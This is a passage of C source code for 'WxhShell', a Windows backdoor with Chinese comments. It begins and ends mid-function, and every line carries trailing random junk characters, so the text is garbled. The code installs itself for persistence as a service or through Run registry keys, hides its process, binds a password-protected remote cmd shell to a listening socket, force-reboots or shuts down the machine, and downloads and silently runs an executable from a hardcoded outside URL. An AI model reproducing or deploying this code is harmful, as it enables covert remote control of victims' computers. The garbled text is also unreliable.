    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UykOQ-2-n  
    if(Boot(SHUTDOWN)) 2p'ujAK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *a }NRf}W  
    else { pZ4]K xX@  
    closesocket(wsh); ' *hy!f]  
    ExitThread(0); i"|="O0v5  
    } l"9.zPvT<  
    break; {|)u).n|  
    } }py6H[  
  // 获取shell 9e^HTUFbG  
  case 's': { $x_6 .AOZ,  
    CmdShell(wsh); x\HHu]  
    closesocket(wsh); t\YN\`XD  
    ExitThread(0); d:KUJ Y.  
    break; FCO5SX#-g  
  } 7+^9"k7  
  // 退出 F<SCW+>z2a  
  case 'x': { ma4Pmk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Hj&mwn]  
    CloseIt(wsh); pPr/r& r  
    break; rHhn)m  
    } ] Tc!=SV  
  // 离开 H"v3?g`S%  
  case 'q': { |0!oSNJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2 de[ yz  
    closesocket(wsh); 3a#X:?  
    WSACleanup(); fwvPh&U&  
    exit(1); &n:3n  
    break; k&Z3v.  
        } }9Yd[`  
  } QP+zGXd}(  
  } 9G)Sjn`AQ  
QiDf,$t|,  
  // 提示信息 WSA;p=_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P_:A%T  
} l!Bc0  
  } :=J~t@  
w[g(8 #*  
  return; yO@KjCv"  
} N^,@s"g  
kz4d"bTb  
// shell模块句柄 Be?b| G!M  
int CmdShell(SOCKET sock) jpND"`Q  
{ J LOTl.  
STARTUPINFO si; V=#L@ws  
ZeroMemory(&si,sizeof(si)); Sw##C l#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f"^G\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [Yt!uhww  
PROCESS_INFORMATION ProcessInfo; ?$ rSbw  
char cmdline[]="cmd"; w-~u[c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z'cK,psq(  
  return 0; I'"b3]DXG  
} p7.j>w1F  
pz'l9Gp;@  
// 自身启动模式 \etuIFQ#U  
int StartFromService(void) hD OEJ  
{ {/f\lS.5g  
typedef struct &zVF!xNy&  
{ *.g0;\HF  
  DWORD ExitStatus; ?Bg<74  
  DWORD PebBaseAddress; ` oBlv  
  DWORD AffinityMask; "S$4pj`<  
  DWORD BasePriority; hg8gB8Xq  
  ULONG UniqueProcessId; t\[aU\4-7  
  ULONG InheritedFromUniqueProcessId; b"`Vn,  
}   PROCESS_BASIC_INFORMATION; D9OI ",h  
+APf[ZpU  
PROCNTQSIP NtQueryInformationProcess; lZpa)1.tiC  
7"L`|O?8)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x --buO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gHU/yi!T  
Ift @/A  
  HANDLE             hProcess; jI`1>>N&1  
  PROCESS_BASIC_INFORMATION pbi; aBV{Xr~#(  
%m\dNUz4g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UNc!6Q-.  
  if(NULL == hInst ) return 0; vfW  
*0 y|0J+ 0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }=kf52Am,}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g.CUo:c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $`J'Y>`  
L\@SX?j  
  if (!NtQueryInformationProcess) return 0; E1,Sr?'  
~=W|I:@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rh;@|/<l  
  if(!hProcess) return 0; u&Ze$z  
!ueyVE$1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [K2\e N~g  
k0;ND  
  CloseHandle(hProcess); } Qjp,(ye  
76i)m!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Nr.maucny  
if(hProcess==NULL) return 0; IvLo&6swW  
-Fcg}\9  
HMODULE hMod; Y6(I %hE`  
char procName[255]; X2 {n&K  
unsigned long cbNeeded; 7%aaqQ1T  
#q2 cVN1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~T<yp  
EC6&#)g;CO  
  CloseHandle(hProcess);  Lb# e  
#&+0hS  
if(strstr(procName,"services")) return 1; // 以服务启动 } $:uN  
OLAw Rha  
  return 0; // 注册表启动 2t h\%  
} n[zP}YRr  
k(Z+(Y'{q~  
// 主模块 /|{Yot e  
int StartWxhshell(LPSTR lpCmdLine) y=!"++T]B<  
{ YmP`Gg#> p  
  SOCKET wsl; 3JuWG\r)l  
BOOL val=TRUE; dQfVdqg  
  int port=0; i#I+   
  struct sockaddr_in door; &V;^xMO!  
xpo<1Sr>S  
  if(wscfg.ws_autoins) Install(); = ;sEi:HC  
(;1FhIi&  
port=atoi(lpCmdLine); #BQ7rF7CNE  
q$vATT  
if(port<=0) port=wscfg.ws_port; b2OVg +3  
Pkx*1.uo  
  WSADATA data; cr!6qv1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g?V>+oMx  
{ 3=\x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J8|F8dcz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Do@:|n  
  door.sin_family = AF_INET; "bFt+N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A^+G w\  
  door.sin_port = htons(port); 5IeF |#g  
Y40Hcc+Fx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  <b7 4L  
closesocket(wsl); 4&r+K`C0  
return 1; i_OoR"J%  
} j-2`yR  
[uxhdR`T  
  if(listen(wsl,2) == INVALID_SOCKET) { bSmF"H0cP  
closesocket(wsl); $YvT* T$_  
return 1; XGE:ZVpW  
} (fON\)l  
  Wxhshell(wsl); ^p#f B4z  
  WSACleanup(); Sbub|  
q1j<p)(  
return 0; \tFg10  
fu|N{$h%X  
} 2kV[A92s  
srfFJX7*  
// 以NT服务方式启动 +(/?$dRH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l1^/Q~u  
{ 0-~Y[X"9.  
DWORD   status = 0; KE\p|Xi  
  DWORD   specificError = 0xfffffff; MCHRNhb9  
G1MuH%4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }5gAxR,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z)Xf6&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @/}{Trmg/  
  serviceStatus.dwWin32ExitCode     = 0; l!f/0Rx5  
  serviceStatus.dwServiceSpecificExitCode = 0; "&/:"~r  
  serviceStatus.dwCheckPoint       = 0; P 3uAS  
  serviceStatus.dwWaitHint       = 0; *_d+cG  
WjZJQK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t1p}   
  if (hServiceStatusHandle==0) return; v)@EK6Nty  
fr S1<+  
status = GetLastError(); <VV./W8e9  
  if (status!=NO_ERROR) xq_%|p}y  
{ hNB;29r~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .$b]rx7$ ~  
    serviceStatus.dwCheckPoint       = 0; e*_8B2da  
    serviceStatus.dwWaitHint       = 0; %+oWW5q7  
    serviceStatus.dwWin32ExitCode     = status; 4fBgmL  
    serviceStatus.dwServiceSpecificExitCode = specificError; _+0l+a*D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @AUx%:}0Y:  
    return; )c=R)=N  
  } xZjl_ b J  
7|3Qcn7P)@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wsp&U .z  
  serviceStatus.dwCheckPoint       = 0; f!;i$Oif  
  serviceStatus.dwWaitHint       = 0; BQWEC,*N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !}wJ+R ^2  
} 0S@O]k)  
d;&'uiS  
// 处理NT服务事件,比如:启动、停止 g~_cYy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) evf){XhT;n  
{ Kx9Cx 5B  
switch(fdwControl) <mlQn?u  
{ ]bO {001y,  
case SERVICE_CONTROL_STOP: 9_'xq.uP  
  serviceStatus.dwWin32ExitCode = 0; @`2<^-r\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'U]= T<  
  serviceStatus.dwCheckPoint   = 0; Q&:% U  
  serviceStatus.dwWaitHint     = 0; y XZZ)i_  
  { DZ~w8v7V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BMU}NZA  
  } <{m!.9g9  
  return; 4s/4z@3a  
case SERVICE_CONTROL_PAUSE: ^ ab%Mbb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u`Djle  
  break; VKy:e.  
case SERVICE_CONTROL_CONTINUE: B`OggdE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9Ue3 %?~c  
  break; 1 GUF,A+_O  
case SERVICE_CONTROL_INTERROGATE: 3F2> &p|7  
  break; 7k{Oae\$  
}; !\Jj}iX3_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8}Rwf?B  
} fI} Z`*  
%? +A.0]E  
// 标准应用程序主函数 Z"Z&X0O j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Nj||^k  
{ LFy5tX#  
I1U{t  
// 获取操作系统版本 =zXpeo&|m  
OsIsNt=GetOsVer(); S!8eY `C.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~Kda#=  
`),7*gn*)  
  // 从命令行安装 N;tUrdgQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); h4H~;Wl0  
d{&+xl^ll  
  // 下载执行文件 PCnE-$QH  
if(wscfg.ws_downexe) { K^tM$l\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  Py\xN  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~PaD _W#xP  
} aB<~T[H%h  
QlI g'B6  
if(!OsIsNt) { 9Q- /Yh  
// 如果时win9x,隐藏进程并且设置为注册表启动 6NJ"ty9Bp  
HideProc(); ;RZ@t6^  
StartWxhshell(lpCmdLine); 6FG h=~{3,  
} leyhiL<  
else kH d_q.  
  if(StartFromService()) raY5 nc{  
  // 以服务方式启动 a#FkoA~M  
  StartServiceCtrlDispatcher(DispatchTable); Gm^@lWzG  
else mk_cub@  
  // 普通方式启动 UBuk-tq  
  StartWxhshell(lpCmdLine); sR,]eo<p&  
84)$ CA+NX  
return 0; 85Q2c   
} 3 1KMn  
!uLAW_~  
X}p#9^%N  
WK0?$[|=r  
=========================================== f!ehq\K1k  
CCfuz&  
^DXERt&3  
K@U"^ `G2  
meu\jg  
TYWajcch  
" A?|KA<&m#u  
l"o@.C} f/  
#include <stdio.h> [J\5DctX;c  
#include <string.h> }M?GqA=  
#include <windows.h> lG>rf*ei~  
#include <winsock2.h> ]Gow  
#include <winsvc.h> ^i_mGeu  
#include <urlmon.h> 1QtT*{zm$F  
8Fx~i#FT  
#pragma comment (lib, "Ws2_32.lib") 1c&/&6 #5  
#pragma comment (lib, "urlmon.lib") #Bj{ 4OeV  
l@Ma{*s6=5  
#define MAX_USER   100 // 最大客户端连接数 ,=B "%=S  
#define BUF_SOCK   200 // sock buffer W*;~(hDz  
#define KEY_BUFF   255 // 输入 buffer a1 M-F3  
GBtBmV/`  
#define REBOOT     0   // 重启 ps"crV-W  
#define SHUTDOWN   1   // 关机 0z&3jWWY@  
Y oNg3  
#define DEF_PORT   5000 // 监听端口 VF!?B>  
v3Tr6[9  
#define REG_LEN     16   // 注册表键长度  rmUT l  
#define SVC_LEN     80   // NT服务名长度 5Ft bZ1L  
5X\3y4  
// 从dll定义API :N\*;>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !jMa%;/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h|yv*1/|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z66akr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I8gGP'  
D#x D-c  
// wxhshell配置信息 {2R b^K  
struct WSCFG { gQ.yNe  
  int ws_port;         // 监听端口 @Rj&9/\L  
  char ws_passstr[REG_LEN]; // 口令 }DxXt  
  int ws_autoins;       // 安装标记, 1=yes 0=no k^ J~l=?v  
  char ws_regname[REG_LEN]; // 注册表键名 5xwztcR-  
  char ws_svcname[REG_LEN]; // 服务名 n*CH,fih:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M A}=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r|:|\"Yk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 />Tyiy]2uu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +Q If7=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" apa~Is1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T.<er iv  
-_ .f&l8  
}; l] WV gu  
*;Dd:D9  
// default Wxhshell configuration )W:`Q&/G  
struct WSCFG wscfg={DEF_PORT, <>A:Oi3^  
    "xuhuanlingzhe", ?Bq"9*q  
    1, |rH;}t|un  
    "Wxhshell", 4wX{N   
    "Wxhshell", |]RV[S3v  
            "WxhShell Service", ^ox^gw)  
    "Wrsky Windows CmdShell Service", R5ZnkPEA  
    "Please Input Your Password: ", bENfEOf,  
  1, (BVLlOo?J  
  "http://www.wrsky.com/wxhshell.exe", Oq(_I b)9  
  "Wxhshell.exe" ro6|N?'  
    }; '(5 &Sj/C  
@(JcM=  
// 消息定义模块 VFT G3,kI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `x lsvK>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H;k;%Zg;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; im>Sxu@  
char *msg_ws_ext="\n\rExit."; ?t'ZX~k  
char *msg_ws_end="\n\rQuit."; 2*vOo^f  
char *msg_ws_boot="\n\rReboot..."; ;j-@ $j  
char *msg_ws_poff="\n\rShutdown..."; r[vMiVb  
char *msg_ws_down="\n\rSave to "; ::g"dRS<v  
%RL\t5 TV  
char *msg_ws_err="\n\rErr!"; TgSU}Mf)a  
char *msg_ws_ok="\n\rOK!"; @b=tjQO_  
ZwAX+0  
char ExeFile[MAX_PATH]; C?#if;c  
int nUser = 0; VQZ3&]o  
HANDLE handles[MAX_USER]; "FT5]h  
int OsIsNt; ;9q3FuR  
_U1~^ucV  
SERVICE_STATUS       serviceStatus; 3P6pQm'.f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l$z[Vh^UU<  
p>Ju)o  
// 函数声明 -g]/Ko]2@$  
int Install(void); n!|K#  
int Uninstall(void); c,Zs. kC  
int DownloadFile(char *sURL, SOCKET wsh); U> (5J,G  
int Boot(int flag); hQ i[7r($8  
void HideProc(void); HW|c -\tS  
int GetOsVer(void); K?BWl:^x  
int Wxhshell(SOCKET wsl); :bE ^b  
void TalkWithClient(void *cs); qlIC{:E0  
int CmdShell(SOCKET sock); )?%FU?2jrn  
int StartFromService(void); %;!@\5$  
int StartWxhshell(LPSTR lpCmdLine); .bB_f7TH.  
Y:FV+ SI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ndOPD]A'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @\i6m]\X  
Lbq"( b  
// 数据结构和表定义 r9uY ?M  
SERVICE_TABLE_ENTRY DispatchTable[] = T73oW/.0X?  
{ P~#!-9?  
{wscfg.ws_svcname, NTServiceMain}, Oe'Nn250  
{NULL, NULL} oZ& ns!#  
}; YUF!Y9!  
UQ$dO2^  
// 自我安装 Q#}} 1}Ja  
int Install(void) H#E   
{ [p$b@og/>  
  char svExeFile[MAX_PATH]; N(dn"`8  
  HKEY key; "@gJ[BL#  
  strcpy(svExeFile,ExeFile); w(J-[t118  
A%"XNk  
// 如果是win9x系统,修改注册表设为自启动 KA`1IW;  
if(!OsIsNt) { 1HN_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V{HZ/p_Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y`E2IE2o  
  RegCloseKey(key); hEl)BRJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7Fq mT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E,xCfS)  
  RegCloseKey(key); UIL5K   
  return 0; E;$t|~ #  
    } 3HO 4 h\mp  
  } ~`#.ZMO  
} XEfTAW#7  
else { Y5-X)f  
(*/P~$xIj  
// 如果是NT以上系统,安装为系统服务 Q&MZ/Nnf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H5,{Z  
if (schSCManager!=0) `.MM|6  
{ |O+R%'z'<  
  SC_HANDLE schService = CreateService XC?H  
  ( k5w+{iOh  
  schSCManager, KFA B  
  wscfg.ws_svcname, Yl&eeM  
  wscfg.ws_svcdisp, ,<R/x[  
  SERVICE_ALL_ACCESS, n j; KnZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a gBKp!  
  SERVICE_AUTO_START, e:AB!k^xp$  
  SERVICE_ERROR_NORMAL, YCh!D dy  
  svExeFile, y3 LWh}~E  
  NULL, QDBptI:  
  NULL, g[8V fIe  
  NULL, h6)hZ'zV  
  NULL, s<E_74q1  
  NULL q1r\ 60M  
  ); `WWf?g  
  if (schService!=0) *%B%BJnX  
  { p&Nw:S  
  CloseServiceHandle(schService); ,{J2i#g<  
  CloseServiceHandle(schSCManager); sFSrMI#R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A |NX"  
  strcat(svExeFile,wscfg.ws_svcname); |8`}yRsQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5w}xjOYIjV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {EW}Wd  
  RegCloseKey(key);  P/nXY  
  return 0; -W!g>^.  
    } BzTm[`(h  
  } QHP^1W`  
  CloseServiceHandle(schSCManager); bTO$B2eh|  
} (C6Y*Zm\  
}  vFl|  
um&N|5lHb  
return 1; [0/?(i|  
} eC[g"Ef  
ot_jG)  
// 自我卸载 y"t5%Iv  
int Uninstall(void) _'2r=a#`  
{ rQKBT]?y  
  HKEY key; ~{2@-qcm  
'v6Rd )E\z  
if(!OsIsNt) { YH<@->Ip  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kz$Ijj  
  RegDeleteValue(key,wscfg.ws_regname); \sp7[}Sw  
  RegCloseKey(key); #Sn&Wo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &hV;3";  
  RegDeleteValue(key,wscfg.ws_regname); _NA]= #J  
  RegCloseKey(key); ~Ja>x`5  
  return 0; KxJJ?WyM  
  } >x!N@G  
} I]I5!\\&[  
} fF-V=Zf5  
else { !p0FJ].g,  
Z>CFH9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [K"v)B'  
if (schSCManager!=0) )>TA|W]@  
{ +X Y}-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kl+*Sp!  
  if (schService!=0) N3x}YHFF  
  { 3`, m=1[)  
  if(DeleteService(schService)!=0) { b[*d i{?-  
  CloseServiceHandle(schService); c-M&cU+=L  
  CloseServiceHandle(schSCManager); NiyAAw  
  return 0; W@UHqHr:\  
  } QFX|ZsmK  
  CloseServiceHandle(schService); \>YXPMIk  
  } YVs{\1|'  
  CloseServiceHandle(schSCManager); ]0`[L<_r  
} L G=Q  
} Aq";z.gi+  
fF *a/\h %  
return 1; 4Pz9&^K  
} #p_ ~L4iW  
E"w7/k#3}C  
// 从指定url下载文件 kkd<CEz2IM  
int DownloadFile(char *sURL, SOCKET wsh) 'i`;Frmg  
{ zA+ ^4/M  
  HRESULT hr; !PQ@"L)p  
char seps[]= "/"; :!r_dmJ  
char *token; ,l@hhaLm?  
char *file; d[O.UzQ  
char myURL[MAX_PATH]; ,u\M7,a^  
char myFILE[MAX_PATH]; 3J:!8Gmk  
h|jsi*4NnL  
strcpy(myURL,sURL); DrB=   
  token=strtok(myURL,seps); ?;i6eg17<  
  while(token!=NULL) sS+9ly{9J  
  { 3UH=wmG0w  
    file=token; H"n"Q:Yp  
  token=strtok(NULL,seps); T> 1E  
  } *_^AK=i  
4!E6|N%f  
GetCurrentDirectory(MAX_PATH,myFILE); 4Ly!:GH3T  
strcat(myFILE, "\\"); ea B-u  
strcat(myFILE, file); ?= ulf GrY  
  send(wsh,myFILE,strlen(myFILE),0); ? 8'4~1g`}  
send(wsh,"...",3,0); %tpt+N?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J6f;dF^  
  if(hr==S_OK) *;4r|# LG  
return 0; .Mm8\].  
else ogQbST  
return 1; ybB/sShGM  
@AWKEo<7.I  
} VxsW3*`  
`U?;9!|;6  
// 系统电源模块 1?mQ fW@G  
int Boot(int flag) D^f;dT;-  
{ :~`E @`/  
  HANDLE hToken; #t{?WkO[  
  TOKEN_PRIVILEGES tkp; ]Nm_<%lT  
Gn&)*qCO  
  if(OsIsNt) { LQR9S/?Ld  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?hmj0i;XC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0y6nMI  
    tkp.PrivilegeCount = 1; ^i@tOtS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z7Mc.[C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ))Aj X  
if(flag==REBOOT) { }`*]&I[P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U3p=H^MB.  
  return 0; fr:RiOPn  
} R$cg\DD  
else { } CQ GvH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x'n J_0  
  return 0; $|sRj!F  
} .D>%-  
  } R]L 7?=  
  else { VNA VdP  
if(flag==REBOOT) { O cm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) du`],/ 6  
  return 0; MW`q*J`Yo  
} -l$]>J~  
else { {3`9A7bG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z <s]Z  
  return 0; $t[`}I }  
} ]cFqKs  
} |A}E/=HPU  
mltN$b%G=d  
return 1; ])T*T$u  
} O@?? NF6G  
;^t<LhN:  
// win9x进程隐藏模块 /GfC/)1_  
void HideProc(void) ]\*g/QV  
{ &LHQ) ?  
v0\2%PC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?%B%[u  
  if ( hKernel != NULL ) #OH# &{H  
  { StaX~J6=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }B}?qV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `<C)oF\~f  
    FreeLibrary(hKernel); JdFMSmZ@  
  } vM|?;QM  
9cX ~  
return; TfVB~"&  
} @dD70T  
`'.u$IBW  
// 获取操作系统版本 EZE/~$`3   
int GetOsVer(void) `R=8=6Z+$q  
{ ZKPnvL70  
  OSVERSIONINFO winfo; cYmMO[4YG'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |oC&;A  
  GetVersionEx(&winfo); 0KU,M+_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C]\r~f  
  return 1; rh?!f(_@  
  else >jRz4%  
  return 0; kbBX\*{yh  
} Bp>%'L  
Vb|DNl@  
// 客户端句柄模块 eHm!  
int Wxhshell(SOCKET wsl) a]BnHLx  
{ 9Clddjf?c  
  SOCKET wsh; b.Z K1  
  struct sockaddr_in client; Z?O aY4  
  DWORD myID; K/ I3r_  
f[!N]*  
  while(nUser<MAX_USER) v/}M _E  
{ /`?i&\C3r  
  int nSize=sizeof(client); 3[pA:Z+xx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vq -!1.v3  
  if(wsh==INVALID_SOCKET) return 1; 6rF[eb  
bJmVq%>;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !2>gC"$nv  
if(handles[nUser]==0) :p%nQF,*f  
  closesocket(wsh); Etg'"d@[  
else &d[&8V5S  
  nUser++; 71m dU6Kq  
  } .3 m^yo c/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =YR/X@&  
aM,>LKNbQ  
  return 0; /E@LnKe  
} -A[iTI"  
{~.h;'m  
// 关闭 socket (S&X??jfB5  
void CloseIt(SOCKET wsh) q{[}*%  
{ FJ}QKDQW=  
closesocket(wsh); ^tuJM:  
nUser--; ^aZ Wu|p  
ExitThread(0); 8}Y( @ %4  
} -c=IO(B/  
P N_QK Z  
// 客户端请求句柄 F ,{nG[PL  
void TalkWithClient(void *cs) =dX*:An  
{ $}k"wI[  
|U^ ff^]  
  SOCKET wsh=(SOCKET)cs; xsFWF*HPs  
  char pwd[SVC_LEN]; US7hKNm.  
  char cmd[KEY_BUFF]; 4:<0i0)5  
char chr[1]; [-$&pB>w8'  
int i,j; jVRd[  
#OWwg`AWv  
  while (nUser < MAX_USER) { mc(&'U8R0I  
N"t, 6tH  
if(wscfg.ws_passstr) { )hQNIt3o_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i}<R >]S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @-b}iP<T  
  //ZeroMemory(pwd,KEY_BUFF); l}(~q!r  
      i=0; !gf&l ^)  
  while(i<SVC_LEN) { 59^@K"J  
RFK N,oB  
  // 设置超时 wOi>i`D&  
  fd_set FdRead; &7DE$ S  
  struct timeval TimeOut; }UGPEf\  
  FD_ZERO(&FdRead); %q*U[vv  
  FD_SET(wsh,&FdRead); T>uLqd{hH  
  TimeOut.tv_sec=8; Y5MHd>m  
  TimeOut.tv_usec=0; Y,(eu*Za  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W: ?-d{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L8j,?u#  
Ew;<iY[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cE*|8'rSf  
  pwd=chr[0]; &6\rKOsn  
  if(chr[0]==0xd || chr[0]==0xa) { CYrL|{M]  
  pwd=0; 6U /wFT!7$  
  break; VS).!;>z  
  } g(5s{njL  
  i++; MJg^ QVM  
    } 95!xTf  
&erNVD5o  
  // 如果是非法用户,关闭 socket gN]`$==c[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _+;x 4K;  
} K0E ;4r  
,!Hl@(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *TXq/ 3g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s=q+3NTv  
z H \*v'  
while(1) { cKfYkJ)A'  
2)8lJXM$L  
  ZeroMemory(cmd,KEY_BUFF); ZbGyl}8ua  
8p211MQ<  
      // 自动支持客户端 telnet标准   d)G-K+&B  
  j=0; NPc%}V&C(u  
  while(j<KEY_BUFF) { OKU P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fu`g)#Z  
  cmd[j]=chr[0]; /d=$,q1  
  if(chr[0]==0xa || chr[0]==0xd) { QAJ>93  
  cmd[j]=0; GS,pl9#V_  
  break; _ xC~44  
  } 5Ci}w|c/>  
  j++; zm}1~A  
    } <7&b|f$CL  
]S[r$<r$  
  // 下载文件 * =Fcu@  
  if(strstr(cmd,"http://")) { +|?c_vD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oD8-I^  
  if(DownloadFile(cmd,wsh)) j>T''T f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u<8Q[_E&  
  else Qd./G5CC  
